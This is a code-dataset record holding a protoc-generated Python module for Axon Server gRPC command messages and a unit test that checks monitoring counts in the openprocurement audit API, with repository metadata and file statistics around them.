|
johnbywater/axon-server-api
|
43c93be99a8daaa92a5f1842d1439f07f0cd93f1
|
[
"Apache-2.0"
] | 1
|
2020-12-11T07:00:19.000Z
|
2020-12-11T07:00:19.000Z
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: command.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
import axonclient.common_pb2 as common__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='command.proto',
package='io.axoniq.axonserver.grpc.command',
syntax='proto3',
serialized_options=_b('P\001'),
serialized_pb=_b('\n\rcommand.proto\x12!io.axoniq.axonserver.grpc.command\x1a\x0c\x63ommon.proto\"\xa2\x03\n\x17\x43ommandProviderOutbound\x12K\n\tsubscribe\x18\x01 \x01(\x0b\x32\x36.io.axoniq.axonserver.grpc.command.CommandSubscriptionH\x00\x12M\n\x0bunsubscribe\x18\x02 \x01(\x0b\x32\x36.io.axoniq.axonserver.grpc.command.CommandSubscriptionH\x00\x12>\n\x0c\x66low_control\x18\x03 \x01(\x0b\x32&.io.axoniq.axonserver.grpc.FlowControlH\x00\x12N\n\x10\x63ommand_response\x18\x04 \x01(\x0b\x32\x32.io.axoniq.axonserver.grpc.command.CommandResponseH\x00\x12\x38\n\x03\x61\x63k\x18\x05 \x01(\x0b\x32).io.axoniq.axonserver.grpc.InstructionAckH\x00\x12\x16\n\x0einstruction_id\x18\x06 \x01(\tB\t\n\x07request\"\xb4\x01\n\x16\x43ommandProviderInbound\x12\x38\n\x03\x61\x63k\x18\x01 \x01(\x0b\x32).io.axoniq.axonserver.grpc.InstructionAckH\x00\x12=\n\x07\x63ommand\x18\x02 \x01(\x0b\x32*.io.axoniq.axonserver.grpc.command.CommandH\x00\x12\x16\n\x0einstruction_id\x18\x03 \x01(\tB\t\n\x07request\"\xaa\x03\n\x07\x43ommand\x12\x1a\n\x12message_identifier\x18\x01 \x01(\t\x12\x0c\n\x04name\x18\x02 \x01(\t\x12\x11\n\ttimestamp\x18\x03 \x01(\x03\x12<\n\x07payload\x18\x04 \x01(\x0b\x32+.io.axoniq.axonserver.grpc.SerializedObject\x12K\n\tmeta_data\x18\x05 \x03(\x0b\x32\x38.io.axoniq.axonserver.grpc.command.Command.MetaDataEntry\x12Q\n\x17processing_instructions\x18\x06 \x03(\x0b\x32\x30.io.axoniq.axonserver.grpc.ProcessingInstruction\x12\x11\n\tclient_id\x18\x07 \x01(\t\x12\x16\n\x0e\x63omponent_name\x18\x08 \x01(\t\x1aY\n\rMetaDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x37\n\x05value\x18\x02 \x01(\x0b\x32(.io.axoniq.axonserver.grpc.MetaDataValue:\x02\x38\x01\"\xde\x03\n\x0f\x43ommandResponse\x12\x1a\n\x12message_identifier\x18\x01 \x01(\t\x12\x12\n\nerror_code\x18\x02 \x01(\t\x12>\n\rerror_message\x18\x03 \x01(\x0b\x32\'.io.axoniq.axonserver.grpc.ErrorMessage\x12<\n\x07payload\x18\x04 \x01(\x0b\x32+.io.axoniq.axonserver.grpc.SerializedObject\x12S\n\tmeta_data\x18\x05 \x03(\x0b\x32@.io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry\x12Q\n\x17processing_instructions\x18\x06 \x03(\x0b\x32\x30.io.axoniq.axonserver.grpc.ProcessingInstruction\x12\x1a\n\x12request_identifier\x18\x07 \x01(\t\x1aY\n\rMetaDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x37\n\x05value\x18\x02 \x01(\x0b\x32(.io.axoniq.axonserver.grpc.MetaDataValue:\x02\x38\x01\"z\n\x13\x43ommandSubscription\x12\x12\n\nmessage_id\x18\x01 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x02 \x01(\t\x12\x16\n\x0e\x63omponent_name\x18\x03 \x01(\t\x12\x11\n\tclient_id\x18\x04 \x01(\t\x12\x13\n\x0bload_factor\x18\x05 \x01(\x05\x32\x8a\x02\n\x0e\x43ommandService\x12\x89\x01\n\nOpenStream\x12:.io.axoniq.axonserver.grpc.command.CommandProviderOutbound\x1a\x39.io.axoniq.axonserver.grpc.command.CommandProviderInbound\"\x00(\x01\x30\x01\x12l\n\x08\x44ispatch\x12*.io.axoniq.axonserver.grpc.command.Command\x1a\x32.io.axoniq.axonserver.grpc.command.CommandResponse\"\x00\x42\x02P\x01\x62\x06proto3')
,
dependencies=[common__pb2.DESCRIPTOR,])
_COMMANDPROVIDEROUTBOUND = _descriptor.Descriptor(
name='CommandProviderOutbound',
full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='subscribe', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.subscribe', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='unsubscribe', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.unsubscribe', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='flow_control', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.flow_control', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='command_response', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.command_response', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ack', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.ack', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='instruction_id', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.instruction_id', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='request', full_name='io.axoniq.axonserver.grpc.command.CommandProviderOutbound.request',
index=0, containing_type=None, fields=[]),
],
serialized_start=67,
serialized_end=485,
)
_COMMANDPROVIDERINBOUND = _descriptor.Descriptor(
name='CommandProviderInbound',
full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='ack', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.ack', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='command', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.command', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='instruction_id', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.instruction_id', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='request', full_name='io.axoniq.axonserver.grpc.command.CommandProviderInbound.request',
index=0, containing_type=None, fields=[]),
],
serialized_start=488,
serialized_end=668,
)
_COMMAND_METADATAENTRY = _descriptor.Descriptor(
name='MetaDataEntry',
full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='io.axoniq.axonserver.grpc.command.Command.MetaDataEntry.value', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=_b('8\001'),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1008,
serialized_end=1097,
)
_COMMAND = _descriptor.Descriptor(
name='Command',
full_name='io.axoniq.axonserver.grpc.command.Command',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='message_identifier', full_name='io.axoniq.axonserver.grpc.command.Command.message_identifier', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='name', full_name='io.axoniq.axonserver.grpc.command.Command.name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='timestamp', full_name='io.axoniq.axonserver.grpc.command.Command.timestamp', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='payload', full_name='io.axoniq.axonserver.grpc.command.Command.payload', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='meta_data', full_name='io.axoniq.axonserver.grpc.command.Command.meta_data', index=4,
number=5, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='processing_instructions', full_name='io.axoniq.axonserver.grpc.command.Command.processing_instructions', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='client_id', full_name='io.axoniq.axonserver.grpc.command.Command.client_id', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='component_name', full_name='io.axoniq.axonserver.grpc.command.Command.component_name', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_COMMAND_METADATAENTRY, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=671,
serialized_end=1097,
)
_COMMANDRESPONSE_METADATAENTRY = _descriptor.Descriptor(
name='MetaDataEntry',
full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry.value', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=_b('8\001'),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1008,
serialized_end=1097,
)
_COMMANDRESPONSE = _descriptor.Descriptor(
name='CommandResponse',
full_name='io.axoniq.axonserver.grpc.command.CommandResponse',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='message_identifier', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.message_identifier', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error_code', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.error_code', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='error_message', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.error_message', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='payload', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.payload', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='meta_data', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.meta_data', index=4,
number=5, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='processing_instructions', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.processing_instructions', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='request_identifier', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.request_identifier', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_COMMANDRESPONSE_METADATAENTRY, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1100,
serialized_end=1578,
)
_COMMANDSUBSCRIPTION = _descriptor.Descriptor(
name='CommandSubscription',
full_name='io.axoniq.axonserver.grpc.command.CommandSubscription',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='message_id', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.message_id', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='command', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.command', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='component_name', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.component_name', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='client_id', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.client_id', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='load_factor', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.load_factor', index=4,
number=5, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1580,
serialized_end=1702,
)
_COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe'].message_type = _COMMANDSUBSCRIPTION
_COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe'].message_type = _COMMANDSUBSCRIPTION
_COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control'].message_type = common__pb2._FLOWCONTROL
_COMMANDPROVIDEROUTBOUND.fields_by_name['command_response'].message_type = _COMMANDRESPONSE
_COMMANDPROVIDEROUTBOUND.fields_by_name['ack'].message_type = common__pb2._INSTRUCTIONACK
_COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe'])
_COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request']
_COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe'])
_COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request']
_COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control'])
_COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request']
_COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDEROUTBOUND.fields_by_name['command_response'])
_COMMANDPROVIDEROUTBOUND.fields_by_name['command_response'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request']
_COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDEROUTBOUND.fields_by_name['ack'])
_COMMANDPROVIDEROUTBOUND.fields_by_name['ack'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request']
_COMMANDPROVIDERINBOUND.fields_by_name['ack'].message_type = common__pb2._INSTRUCTIONACK
_COMMANDPROVIDERINBOUND.fields_by_name['command'].message_type = _COMMAND
_COMMANDPROVIDERINBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDERINBOUND.fields_by_name['ack'])
_COMMANDPROVIDERINBOUND.fields_by_name['ack'].containing_oneof = _COMMANDPROVIDERINBOUND.oneofs_by_name['request']
_COMMANDPROVIDERINBOUND.oneofs_by_name['request'].fields.append(
_COMMANDPROVIDERINBOUND.fields_by_name['command'])
_COMMANDPROVIDERINBOUND.fields_by_name['command'].containing_oneof = _COMMANDPROVIDERINBOUND.oneofs_by_name['request']
_COMMAND_METADATAENTRY.fields_by_name['value'].message_type = common__pb2._METADATAVALUE
_COMMAND_METADATAENTRY.containing_type = _COMMAND
_COMMAND.fields_by_name['payload'].message_type = common__pb2._SERIALIZEDOBJECT
_COMMAND.fields_by_name['meta_data'].message_type = _COMMAND_METADATAENTRY
_COMMAND.fields_by_name['processing_instructions'].message_type = common__pb2._PROCESSINGINSTRUCTION
_COMMANDRESPONSE_METADATAENTRY.fields_by_name['value'].message_type = common__pb2._METADATAVALUE
_COMMANDRESPONSE_METADATAENTRY.containing_type = _COMMANDRESPONSE
_COMMANDRESPONSE.fields_by_name['error_message'].message_type = common__pb2._ERRORMESSAGE
_COMMANDRESPONSE.fields_by_name['payload'].message_type = common__pb2._SERIALIZEDOBJECT
_COMMANDRESPONSE.fields_by_name['meta_data'].message_type = _COMMANDRESPONSE_METADATAENTRY
_COMMANDRESPONSE.fields_by_name['processing_instructions'].message_type = common__pb2._PROCESSINGINSTRUCTION
DESCRIPTOR.message_types_by_name['CommandProviderOutbound'] = _COMMANDPROVIDEROUTBOUND
DESCRIPTOR.message_types_by_name['CommandProviderInbound'] = _COMMANDPROVIDERINBOUND
DESCRIPTOR.message_types_by_name['Command'] = _COMMAND
DESCRIPTOR.message_types_by_name['CommandResponse'] = _COMMANDRESPONSE
DESCRIPTOR.message_types_by_name['CommandSubscription'] = _COMMANDSUBSCRIPTION
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
CommandProviderOutbound = _reflection.GeneratedProtocolMessageType('CommandProviderOutbound', (_message.Message,), {
'DESCRIPTOR' : _COMMANDPROVIDEROUTBOUND,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandProviderOutbound)
})
_sym_db.RegisterMessage(CommandProviderOutbound)
CommandProviderInbound = _reflection.GeneratedProtocolMessageType('CommandProviderInbound', (_message.Message,), {
'DESCRIPTOR' : _COMMANDPROVIDERINBOUND,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandProviderInbound)
})
_sym_db.RegisterMessage(CommandProviderInbound)
Command = _reflection.GeneratedProtocolMessageType('Command', (_message.Message,), {
'MetaDataEntry' : _reflection.GeneratedProtocolMessageType('MetaDataEntry', (_message.Message,), {
'DESCRIPTOR' : _COMMAND_METADATAENTRY,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.Command.MetaDataEntry)
})
,
'DESCRIPTOR' : _COMMAND,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.Command)
})
_sym_db.RegisterMessage(Command)
_sym_db.RegisterMessage(Command.MetaDataEntry)
CommandResponse = _reflection.GeneratedProtocolMessageType('CommandResponse', (_message.Message,), {
'MetaDataEntry' : _reflection.GeneratedProtocolMessageType('MetaDataEntry', (_message.Message,), {
'DESCRIPTOR' : _COMMANDRESPONSE_METADATAENTRY,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry)
})
,
'DESCRIPTOR' : _COMMANDRESPONSE,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandResponse)
})
_sym_db.RegisterMessage(CommandResponse)
_sym_db.RegisterMessage(CommandResponse.MetaDataEntry)
CommandSubscription = _reflection.GeneratedProtocolMessageType('CommandSubscription', (_message.Message,), {
'DESCRIPTOR' : _COMMANDSUBSCRIPTION,
'__module__' : 'command_pb2'
# @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandSubscription)
})
_sym_db.RegisterMessage(CommandSubscription)
DESCRIPTOR._options = None
_COMMAND_METADATAENTRY._options = None
_COMMANDRESPONSE_METADATAENTRY._options = None
_COMMANDSERVICE = _descriptor.ServiceDescriptor(
name='CommandService',
full_name='io.axoniq.axonserver.grpc.command.CommandService',
file=DESCRIPTOR,
index=0,
serialized_options=None,
serialized_start=1705,
serialized_end=1971,
methods=[
_descriptor.MethodDescriptor(
name='OpenStream',
full_name='io.axoniq.axonserver.grpc.command.CommandService.OpenStream',
index=0,
containing_service=None,
input_type=_COMMANDPROVIDEROUTBOUND,
output_type=_COMMANDPROVIDERINBOUND,
serialized_options=None,
),
_descriptor.MethodDescriptor(
name='Dispatch',
full_name='io.axoniq.axonserver.grpc.command.CommandService.Dispatch',
index=1,
containing_service=None,
input_type=_COMMAND,
output_type=_COMMANDRESPONSE,
serialized_options=None,
),
])
_sym_db.RegisterServiceDescriptor(_COMMANDSERVICE)
DESCRIPTOR.services_by_name['CommandService'] = _COMMANDSERVICE
# @@protoc_insertion_point(module_scope)
| 48.859155
| 2,968
| 0.768053
| 3,405
| 27,752
| 5.98091
| 0.074009
| 0.042426
| 0.065406
| 0.079941
| 0.815762
| 0.772846
| 0.745004
| 0.714903
| 0.663246
| 0.607857
| 0
| 0.034765
| 0.106551
| 27,752
| 567
| 2,969
| 48.945326
| 0.78657
| 0.029547
| 0
| 0.668582
| 1
| 0.065134
| 0.241168
| 0.192392
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.011494
| 0
| 0.011494
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b9942fff28b1e4d7cf906736c30a231d16614bf5
| 2,405
|
py
|
Python
|
openprocurement/audit/monitoring/tests/test_monitoring_count.py
|
ProzorroUKR/openprocurement.audit.api
|
a17836e29bca28d9151c091e1d2e42de9f70b949
|
[
"Apache-2.0"
] | 1
|
2018-05-21T08:14:55.000Z
|
2018-05-21T08:14:55.000Z
|
openprocurement/audit/monitoring/tests/test_monitoring_count.py
|
ProzorroUKR/openprocurement.audit.api
|
a17836e29bca28d9151c091e1d2e42de9f70b949
|
[
"Apache-2.0"
] | 59
|
2018-05-18T02:09:47.000Z
|
2019-05-29T12:10:06.000Z
|
openprocurement/audit/monitoring/tests/test_monitoring_count.py
|
ProzorroUKR/openprocurement.audit.api
|
a17836e29bca28d9151c091e1d2e42de9f70b949
|
[
"Apache-2.0"
] | 1
|
2020-06-15T11:04:25.000Z
|
2020-06-15T11:04:25.000Z
|
from openprocurement.audit.monitoring.tests.base import BaseWebTest
class MonitoringCountResourceTest(BaseWebTest):
def setUp(self):
super(MonitoringCountResourceTest, self).setUp()
def test_get_nil(self):
response = self.app.get('/monitorings/count')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 0)
def test_get_nil_ignore_mode(self):
self.create_monitoring(mode="test")
response = self.app.get('/monitorings/count')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 0)
def test_get_one(self):
self.create_monitoring()
response = self.app.get('/monitorings/count')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 1)
def test_get_13(self):
for _ in range(13):
self.create_monitoring()
response = self.app.get('/monitorings/count')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 13)
def test_get_nil_ignore_real(self):
self.create_monitoring()
response = self.app.get('/monitorings/count?mode=test')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 0)
def test_get_one_test(self):
self.create_monitoring()
self.create_monitoring(mode="test")
response = self.app.get('/monitorings/count?mode=test')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 1)
def test_get_13_test(self):
self.create_monitoring()
for _ in range(13):
self.create_monitoring(mode="test")
response = self.app.get('/monitorings/count?mode=test')
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json["data"], 13)
| 37
| 67
| 0.680249
| 278
| 2,405
| 5.726619
| 0.147482
| 0.197864
| 0.303392
| 0.079146
| 0.881281
| 0.828518
| 0.828518
| 0.813442
| 0.813442
| 0.813442
| 0
| 0.019638
| 0.195426
| 2,405
| 64
| 68
| 37.578125
| 0.803101
| 0
| 0
| 0.77551
| 0
| 0
| 0.12812
| 0.034942
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0.163265
| false
| 0
| 0.020408
| 0
| 0.204082
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
